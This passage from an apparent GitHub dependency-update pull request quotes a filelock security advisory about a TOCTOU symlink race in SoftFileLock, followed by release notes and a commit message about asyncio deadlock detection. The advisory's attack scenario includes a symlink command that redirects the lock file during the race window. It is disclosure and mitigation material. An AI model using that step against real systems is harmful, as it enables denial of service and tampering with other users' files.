filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
xt-yin added a commit to xt-yin/filelock that referenced this pull request Jul 17, 2026
The cross-instance deadlock check added in 616400e (tox-dev#586) keyed its holder
registry by thread only. Every task of an event loop shares one thread, so an
indefinitely-blocking acquire from a *different* task queuing behind the
holder - a legitimate pattern with no deadlock risk, since each poll yields
the event loop and the holder keeps running - was misreported as:

    RuntimeError: Deadlock: lock '...' is already held by a different
    BaseAsyncFileLock instance in this task. ...

Only an acquire from the *same* task can genuinely self-deadlock: the polling
task would wait forever for its own release. Give BaseFileLock a
_deadlock_scope hook (None = thread granularity, unchanged for sync locks) and
key the registry by (scope, canonical); BaseAsyncFileLock overrides it with
asyncio.current_task(), falling back to thread granularity with no running
loop. The scope is pinned at commit so a release issued from another task
still drops the right entry.

Same-task reentry still fails fast; cross-task queueing now works, closing
the false positive reported downstream (harbor-framework/harbor#2348). The
suggested is_singleton=True workaround remains unaffected: it trades the
false positive for silently dropping in-process mutual exclusion.

Tests cover blocking cross-task queueing order and cross-task release.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants